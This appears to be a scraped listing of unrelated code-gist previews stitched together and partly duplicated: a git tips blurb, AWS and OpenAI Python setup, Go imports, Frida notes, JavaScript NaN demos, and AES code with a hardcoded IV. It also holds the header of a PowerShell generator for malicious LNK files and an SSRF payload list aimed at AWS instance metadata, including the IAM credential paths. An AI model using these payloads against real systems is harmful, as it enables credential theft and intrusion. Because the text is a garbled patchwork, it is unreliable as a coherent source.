Dump of all commands from "So You Think You Know Git - FOSDEM 2024":
The full blog post: https://blog.gitbutler.com/git-tips-and-tricks/
Dump of all commands from "So You Think You Know Git - FOSDEM 2024":
The full blog post: https://blog.gitbutler.com/git-tips-and-tricks/
| import openai | |
| import boto3 | |
| import json | |
| import time | |
| from typing import Dict, List | |
| openai.api_key = '### SET YOUR OPENAPI API KEY HERE ###' | |
| session = boto3.session.Session() | |
| client = session.client('iam') |
| package utils | |
| import ( | |
| "context" | |
| "github.com/aws/aws-sdk-go-v2/aws" | |
| awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware" | |
| "github.com/aws/smithy-go/middleware" | |
| "reflect" | |
| ) |
I figured that I would write down my findings somewhere since this is my first time using Frida. This won't cover installing frida, adb, apktool because these are well covered in other sources.
| console.log(examineNaN(NaN)); | |
| // > { isNaN: true, sign: 0, signaling: false, payload: 0 } | |
| const nan = createNaN(false, false, 5000); | |
| console.log(isNaN(nan)); | |
| // > true | |
| console.log(examineNaN(nan)); | |
| // > { isNaN: true, sign: 0, signaling: false, payload: 5000 } | |
| const nan2 = createNaN(false, false, [1, 2, 3, 4, 5, 6]); |
Durant les expérimentations effectuées dans l'espace public, aucune information personnelle (login, mot de passe..) n'a été interceptée, stockée ou visualisée.
| function Create-LNKPayload{ | |
| <# | |
| .SYNOPSIS | |
| Generates a malicous LNK file | |
| .PARAMETER LNKName | |
| Name of the LNK file you want to create. |
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| import random | |
| import sys | |
| from Crypto.Cipher import AES | |
| BLOCK_SIZE = 16 # bytes | |
| INIT_VEC = 'This is an IV456' # hardcoding this is a terrible idea |
| ## IPv6 Tests | |
| http://[::ffff:169.254.169.254] | |
| http://[0:0:0:0:0:ffff:169.254.169.254] | |
| ## AWS | |
| # Amazon Web Services (No Header Required) | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |